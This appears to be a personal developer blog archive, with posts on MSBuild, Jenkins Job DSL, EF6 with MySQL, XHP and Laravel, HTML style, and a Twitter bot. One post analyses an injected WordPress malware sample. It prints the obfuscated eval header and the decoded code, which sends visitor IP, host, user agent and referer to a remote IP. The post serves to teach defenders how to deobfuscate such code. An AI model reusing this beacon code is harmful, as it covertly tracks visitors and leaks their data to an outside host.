Recently I was upgrading one of my projects from Visual Studio 2015 to Visual Studio 2017 (including converting from project.json and .xproj to .csproj), when I hit an error like this:

Microsoft.Common.CurrentVersion.targets(2867,5): error MSB3552: Resource file "**/*.resx" cannot be found.

It turns out this is caused by a long-standing MSBuild bug: Wildcard expansion is silently disabled when a wildcard includes a file over MAX_PATH. The Microsoft.NET.Sdk.DefaultItems.props file bundled with .NET Core includes a section that looks like this:

<EmbeddedResource 
  Include="**/*.resx" 
  Exclude="$(DefaultItemExcludes);$(DefaultExcludesInProjectFolder)"
  Condition=" '$(EnableDefaultEmbeddedResourceItems)' == 'true' "
/>

When MSBuild tries to expand the **/*.resx wildcard, it hits this bug, resulting in the wildcard not being expanded properly. Some other MSBuild task interprets the **/*.resx as a literal file name, and crashes and burns as a result.

In my case, my build server was running an old version of npm, which is known to create extremely long file paths. The way to "fix" this is by reducing the nesting of your folders. If you're using npm, upgrading to a newer version (or switching to Yarn) should fix the issue. Otherwise, you may need to move your project to a different directory, such as a directory in the root of C:\.

Job DSL is an excellent plugin for Jenkins, allowing you to configure your Jenkins jobs through code rather than through the Jenkins UI. This allows you to more easily track changes to your Jenkins jobs, and revert to old versions in case of any issues. As an example, for the Yarn project, we have a Jenkins job to publish a Chocolatey package whenever a new stable Yarn version is out. The configuration for a Jenkins job to do that might look something like this:

job('yarn-chocolatey') {
  displayName 'Yarn Chocolatey'
  description 'Publishes a Chocolatey package whenever Yarn is updated'
  label 'windows'
  scm {
    github 'yarnpkg/yarn', 'master'
  }
  triggers {
    urlTrigger {
      cron 'H/15 * * * *'
      url('https://yarnpkg.com/latest-version') {
        inspection 'change'
      }
    }
  }
  steps {
    powerShell '.\\scripts\\build-chocolatey.ps1 -Publish'
  }
  publishers {
    gitHubIssueNotifier {}
  }
}

This works well, but what if we want to use the exact same trigger for another project? Sure, we could copy and paste it, but that becomes unmaintainable pretty quickly. Instead, we can take advantage of the fact that Job DSL configuration files are Groovy scripts, and simply pull the shared configuration out into its own separate function:

def yarnStableVersionChange = {
  triggerContext -> triggerContext.with {
    urlTrigger {
      cron 'H/15 * * * *'
      url('https://yarnpkg.com/latest-version') {
        inspection 'change'
      }
    }
  }
}

Now we can call that function within the job definition, passing the delegate of the closure:

job('yarn-chocolatey') {
  ...
  triggers {
    yarnStableVersionChange delegate
  }
  ...
}

Now whenever we want to create a new job using the same trigger, we can simply reuse the yarnStableVersionChange function!

Visual Studio 2015 was recently released, and with it came a newer beta of ASP.NET 5 (formerly referred to as "ASP.NET vNext"). ASP.NET 5 is a complete rewrite of ASP.NET, focusing on being lightweight, composible, and cross-platform. It also includes an alpha version of Entity Framework 7. However, EF7 is not yet production-ready and does not support all features of EF6. One feature that is missing from EF6 is support for other database providers - Only SQL Server and SQLite are supported at this time.

I wanted to transition a site over to ASP.NET 5, but needed to continue using MySQL as a data source. This meant getting Entity Framework 6 running on ASP.NET 5, which is pretty much undocumented right now. All the documentation and tutorials for EF6 heavily relies on configuration in Web.config, which no longer exists in ASP.NET 5. In this post I'll discuss the steps I needed to take to get it running. An example project containing all the code in this post can be found at https://github.com/Daniel15/EFExample.

Since EF6 does not support .NET Core, we need to remove .NET Core support (delete "dnxcore50": { } from project.json). Once that's done, install the EntityFramework and MySql.Data.Entity packages, and add references to System.Data and System.Configuration. For this post, I'll be using this basic model and DbContext, and assume you've already created your database in MySQL:

public class MyContext : DbContext
{
	public virtual DbSet<Post> Posts { get; set; }
}

public class Post
{
	public int Id { get; set; }
	public string Title { get; set; }
	public string Content { get; set; }
}

Entity Framework 6 relies on the provider and connection string being configured in Web.config. Since Web.config is no longer used with ASP.NET 5, we need to use code-based configuration to configure it instead. To do so, create a new class that inherits from DbConfiguration:

public class MyDbConfiguration : DbConfiguration
{
	public MyDbConfiguration()
	{
		// Attempt to register ADO.NET provider
		try {
			var dataSet = (DataSet)ConfigurationManager.GetSection("system.data");
			dataSet.Tables[0].Rows.Add(
				"MySQL Data Provider",
				".Net Framework Data Provider for MySQL",
				"MySql.Data.MySqlClient",
				typeof(MySqlClientFactory).AssemblyQualifiedName
			);
		}
		catch (ConstraintException)
		{
			// MySQL provider is already installed, just ignore the exception
		}

		// Register Entity Framework provider
		SetProviderServices("MySql.Data.MySqlClient", new MySqlProviderServices());
		SetDefaultConnectionFactory(new MySqlConnectionFactory());
	}
}

The first part of the configuration is a hack to register the ADO.NET provider at runtime, by dynamically adding a new configuration entry to the system.data section. The second part registers the Entity Framework provider. We also need to modify the configuration file to include the connection string. You can use any configuration provider supported by ASP.NET 5, I'm using config.json here because it's the default provider.

{
  "Data": {
    "DefaultConnection": {
      "ConnectionString": "Server=localhost; Database=test; Uid=vmdev; Pwd=password;"
    }
  }
}

Now that we have the configuration, we need to modify the context to use it:

[DbConfigurationType(typeof(MyDbConfiguration))]
public class MyContext : DbContext
{
	public MyContext(IConfiguration config)
		: base(config.Get("Data:DefaultConnection:ConnectionString"))
	{
	}
	// ...
}

An instance of IConfiguration will be automatically passed in by ASP.NET 5's dependency injection system. The final step is to register MyContext in the dependency injection container, which is done in your Startup.cs file:

public void ConfigureServices(IServiceCollection services)
{
	// ...
	services.AddScoped<MyContext>();
}

AddScoped specifies that one context should be created per request, and the context will automatically be disposed once the request ends. Now that all the configuration is complete, we can use MyContext like we normally would:

public class HomeController : Controller
{
    private readonly MyContext _context;

    public HomeController(MyContext context)
    {
	    _context = context;
    }

    public IActionResult Index()
    {
        return View(_context.Posts);
    }
}

Hope you find this useful!

Until next time,
— Daniel

In this post I'll cover the basics of using XHP along with the Laravel PHP framework, but most of the information is framework-agnostic and applies to other frameworks too.

What is XHP and Why Should I Use It?

XHP is a templating syntax originally developed by Facebook and currently in use for all their server-rendered frontend code. It adds an XML-like syntax into PHP itself. XHP comes bundled with HHVM, and is available as an extension for regular PHP 5 too.

The main advantages of XHP include:

• Not just simple language transformations — Every element in XHP is a regular PHP class. This means you have the full power of PHP in your templates, including inheritence. More advanced XHP components can have methods that alter their behaviour
• Typed parameters — You can specify that attributes need to be of a particular type and whether they are mandatory or optional. Most PHP templating languages are weakly-typed.
• Safe by default — All variables are HTML escaped by default.

Installation

From here on, I'm assuming that you already have a basic Laravel app up and running on your machine. If not, please follow the Composer and Laravel quickstart guides before continuing.

If you are running PHP, you will first need to install the XHP extension. HHVM comes bundled with XHP so you don't need to worry about the extension if you're using HHVM.

This extension is only one part of XHP and only implements the parsing logic. The actual runtime behaviour of XHP elements is controlled by a few PHP files. These files implement the base XHP classes that your custom tags will extend, in addition to all the basic HTML tags. This means that you can totally customise the way XHP works on a project-by-project basis (although I'd strongly suggest sticking to the default behaviour so you don't introduce incompatibilities). You can install these files via Composer. Edit your composer.json file and add this to the "require" section:

"facebook/xhp": "dev-master"

While in composer.json, also add "app/views" to the autoload classmap section. This will tell Composer to handle autoloading your custom XHP classes. XHP elements are compiled down to regular PHP classes, and Composer's autoloader can handle loading them. In the end, your composer.json should look something like this. If you do not want to use the Composer autoloader (or it does not work for some reason), you can use a simple custom autoloader instead. I'd only suggest this if you have problems with Composer's autoloader.

Create Some Views

The first view file we'll create is the basic page layout. Save this as views/layout/base.php:

<?php
class :layout:base extends :x:element {
  attribute
    string title @required;

  public function render() {
    return
      <x:doctype>
        <html>
          <head>
            <title>{$this->getAttribute('title')}</title>
          </head>
          <body>
            {$this->getChildren()}
          </body>
        </html>
      </x:doctype>;
  }
}

(side note: if you are using HHVM, you can replace <?php with <?hh to use Hack instead of vanilla PHP)

This code introduces some core XHP concepts:

• All XHP classes start with a colon (:), and colons are used to denote "namespaces" (note that these are not PHP namespaces). XHP classes can have multiple colons in the name (so :page:blog:comments is a valid class name)
• :x:element is the base XHP class that all of your XHP templates should extend.
• XHP classes can have attributes. This class has a title attribute that's required. If a required attribute is not specified, an exception will be thrown at runtime. Attributes can use intrinsic types (string, int, bool) as well as complex types (class names, eg. for view models or database models)
• XHP classes have a render method that returns the XHP for rendering this component. This can be a mix of regular HTML tags (as shown here) and other XHP components.

Now that we have a layout file, let's also create a simple page that utilises it. Save this as views/page/home.php:

<?php
class :page:home extends :x:element {
  attribute
    string name @required;

  protected function render() {
    return
      <layout:base title="Hello Title">
        Hello {$this->getAttribute('name')}!
        <strong>This is a test</strong>
      </layout:base>;
  }
}

Notice that this component uses :layout:base in its render method, passing "Hello Title" as the title attribute. Generally, you should favour composition over inheritance (that is, use other components in your render method rather than extending them).

Since we are using Composer's autoloader to load the views, you need to tell it to rebuild its autoloader cache:

composer dump-autoload

This needs to be done every time you add a new view. If you are only editing an existing view, you do not need to do it.

Now that we have a page, let's use it. Using an XHP view from a Laravel route or controller simply involves returning it like you would any other response. In app/routes.php, modify the / route as follows:

Route::get('/', function() {
  return <page:home name="Daniel" />;
});

Save the file and hit your app in your favourite browser. If everything was successful, you should see "Hello Daniel! This is a test" on the screen. Congratulations! You've just created a simple XHP-powered Laravel site!

Next Steps

So where do you go from here? In general, every reusable component should have its own XHP class. For example, if you were using Bootstrap for your site, each Bootstrap component that you'd like to use belongs in its own XHP class. I'd suggest using at least three separate XHP namespaces:

• :layout — Layout pages, the actual header and footer of the site. Different sections of your site may have different header/footers.
• :page — Actual website pages
• :ui — Reusable UI components

Within each of these namespaces, you can have "sub namespaces". For example, you may have :page:blog:... for blog pages

Further Reading

• XHP on Github
• An introduction to XHP by Stefan Parker, former UI Engineer at Facebook

Google used to offer some little widgets that you could embed on your site which would show if you were online or offline in Google Talk, and let people start a conversation directly from the web page. I used to scrape the HTML and grab my status from there to display it on my site. Unfortunately they deprecated them last year and pulled the service offline recently.

I thought it'd be useful and couldn't find anything similar so I started a site that would provide similar functionality. Currently it can show an online/offline icon, and provide the data in JSON format. I'm going to add some more functionality and make it more user-friendly as I get time to.

Here's a screenshot of how I display it on my site:

Here's the URL: http://mystatus.im/

Technologies I'm using are Node.js, Express, Sequelize, and node-xmpp. This is my first live Node.js site.

Let me know what you think!

Over the past few months, there have been a few vulnerabilies in PHP scripts utilised by various WordPress themes. One of the largest hacks was back in August, when a Remote File Inclusion (RFI) vulnerability was found in TimThumb, a thumbnail generation script used by a lot of WordPress themes. This vulnerability allowed attackers to run any PHP code on vulnerable sites. As a result of this, thousands of sites were hacked.

The most common result of your site being hacked through like this is having some sort of malicious code added to your PHP files. This is often invisible, and people don't notice that their site has malicious code lurking in it until much later. However, sometimes the hacked code does have errors in it. One particular payload is being referred to as the "'Cannot redeclare' hack", as it causes an error like the following to appear in your site's footer:

Fatal error: Cannot redeclare _765258526() (previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) : eval()'d code:1) in /path/to/www/index.php(18) : eval()'d code on line 1

This particular hack affects all the index.php and footer.php files in your WordPress installation. If you are affected by this hack and open any index.php or footer.php file, you'll see code that starts like this: (the full code is on Pastebin)

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wj...

Decoding the Code

If you're this far, I assume you're a PHP developer (or at least know the basics of PHP). The malicious code above is actually highly obfuscated PHP code, which means that the actual intent of the code is hidden and it looks like jibberish. The eval statement runs arbitrary PHP code, so this line of code will basically base64 decode and then run the big block of code. So... what does the code actually do? Obviously we can't tell with it in its current state. It does take a bit of effort, but this code can be "decoded" relatively easy. Obfuscation is not one-way, it can always be undone. While we can't get back the original variable names, we can see what functions the code is executing.

The first step in decoding this code is replacing all instances of eval with echo, and then running the script. This should output the code being executed, instead of actually executing it. After doing this, I ended up with something like the following:

$GLOBALS['_2143977049_']=Array();
function _765258526($i){$a=Array();return base64_decode($a[$i]);}

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyMjM...

Great, another layer of gzipped/base64'd obfuscation. This technique is common with obfuscated code like this. Multiple layers of obfuscation makes it harder for someone to decode the code, as it requires more effort. I guess the "bad guys" think that people will get tired of trying to unobfuscate the code, and give up, or something like that. When a case like this is encountered, keep replacing eval with echo and re-running the script, until there's no eval statements left. After decoding all the eval'd code and formatting the resulting code, I ended up with this. While there's readable code there now, it's still obfuscated.

Once you're this far, if you look closely at the code, you'll notice that a lot of it is encoded using base64. The next step to unobfuscating thid code is to decode all base64-encoded text. That is, find all instances of base64_decode(...) and replace it with the base64 decoded version. Once I did that, I ended up with this:

<?php 
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
        return '91.196.216.64';
}
 
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
        $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
        return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
    return 'curl_version';
}
if ($GLOBALS['_399629645_'][0](_393632915(0))) 
{
        $ch=$GLOBALS['_399629645_'][1]($url);
        $GLOBALS['_399629645_'][2]($ch,CURLOPT_RETURNTRANSFER,true);
        $GLOBALS['_399629645_'][3]($ch,CURLOPT_HEADER,round(0));
        $GLOBALS['_399629645_'][4]($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
        $re=$GLOBALS['_399629645_'][5]($ch);
        $GLOBALS['_399629645_'][6]($ch);
}
else
{
        $re=$GLOBALS['_399629645_'][7]($url);  
}
echo $re;
?>

Now you simply need to go through the code and "execute it in your head". Follow the execution path of the code, and see which variables are used where. There's some usage of arrays to disguise certain variables. What I did was first replaced the two function calls (_1618533527 and _1847265367), and then replaced the array usages (1203443956, 399629645 and 399629645). Substitute the variables in the places they're used, and the code should be fully obfuscated. Once fully unobfuscated, the code came down to the following:

<?php
$url = 'http://91.196.216.64/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];

if (function_exists('curl_version'))
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 3);
	$re = curl_exec($ch);
	curl_close($ch);
}
else
{
	$re = file_get_contents($url);
}
echo $re;

So, what it's actually doing is sending a request to 91.196.216.64 (a server located in Russia), telling it your site's hostname, your user agent (what browser you're using), and the referer (how you got to the page). This is not directly malicious (this code can't directly do anything bad), which makes it interesting. My theory is that the developer of the worm is using this to create a list of all vulnerable sites, to use them for further hacks in the near future.

So, that's it. Hopefully this post wasn't too boring (and perhaps you even learnt how to unobfuscate code like this). As more people learn how to unobfuscate code like this, I suspect that the "hackers" will keep getting smarter and devising more clever code obfuscation techniques. Until then, finding out what the code actually does is relatively quick and easy, as I've demonstrated here.

Until next time,
— Daniel

Am I the only person that cringes when I see HTML like this?

<div class="h1Title"><div class="spriteicon_img_mini" id="icon-name_mini"></div>Page Title</div>

Or like this?

<!--Start Footer-->
<div id="heading-bottom_bg" class="spriteheading_bg footer">
	<ul class="links footer_ul">
		<li class="footer_li"><a class="footer_li_a bottomlink" href="../index.html">Home</a></li>
		<li class="footer_li"><span class="footer" style="font-size:18px;">&#9642;</span></li>
		...
		<li class="footer_li"><a class="footer_li_a bottomlink" href="/logout/">Log out</a></li>
	</ul>
</div>

Notice the classes on all those elements. Really? A web developer that doesn't know about the

tag or CSS descendant/child selectors? Why do people feel the need to use

tags for everything, when there's other more semantic tags available? It really doesn't make sense to me; some of the first HTML tags I learnt were

and

.

For what it's worth, this is how I'd rewrite those two blocks of HTML:

<h1 class="icon-name">Page Title</h1>

<!--Start Footer-->
<div id="footer">
	<ul>
		<li><a href="../index.html">Home</a> &#9642;</li>
		...
		<li><a href="/logout/">Log out</a></li>
	</ul>
</div>

It's good to keep your HTML and CSS selectors as simple as possible. There's no need for a "footer_li" class when you can just use "#footer li" in your CSS. The "icon-name" CSS class on the

is used for a CSS sprite to display next to the heading. Also, as an alternative, the separator (▪) that was originally in a after all the footer items can easily be added via the :after pseudo selector instead of being in the

.

It's really frustrating that there's so many "web developers" that don't seem to know basic HTML. It's okay if you're just starting to learn, this is fair enough. The HTML I "wrote" when I started web development was horrendous. And by "wrote" I mean "created in FrontPage 98". But it's another thing altogether to be a developer for a number of years and still write ugly HTML like this.

Ugly JavaScript seems to be way more common, though. But that's a rant for another day.

So I thought I'd finally write a little blog post about a Twitter bot I made a while ago. A few people emailed me asking for the source code, so I had previously posted about it on webDevRefinery, but never on my own blog. Basically all the bot does is search for whenever people mention "over 9000" or "over nine thousand", and replies with "WHAT, NINE THOUSAND?!". Pretty simple, but I wanted to learn about using the Twitter API. It seems to have inspired the creation of other Twitter bots, like AnnoyingNavi and The Spacesphere, which I think is pretty cool. 😃.

The source code is available as a Gist on Github. It is written in PHP and requires the PECL OAuth extension to be installed. I think it's a pretty good example of a simple "search and reply" Twitter bot, that could easily be extended to do more useful things.

Until next time,

— Daniel

A lot of sites now use OpenID. This is great, as you can use the one account on multiple sites. Unfortunately, Facebook accounts can not yet be used as OpenIDs 😦. However, using Facebook logins isn't too hard, as they support using OAuth 2.0. OpenID and OAuth are fundamentally for different things (OpenID is authentication, OAuth is authorization), but it still works well in this situation.

Firstly, sign up for a Facebook application at the Facebook developer website. You'll have to correctly set the site URL and site domain. Copy the application ID and application secret as shown on the Web Site section of the settings, as you will need them later.

Read more ⇒

In this post, I'll discuss some of the techniques that I personally write JavaScript. There's no right or wrong, this is all my opinion (still, feel free to flame me if you feel it's necessary 😛). This post is aimed at people that understand basic JavaScript and HTML techniques, and want to see how I code my JavaScript. I will talk about the JavaScript of the past, how it's changed, and some techniques used in modern JavaScript development. This will probably be a multi-part series if I ever get around to writing more posts 😛 

Read more ⇒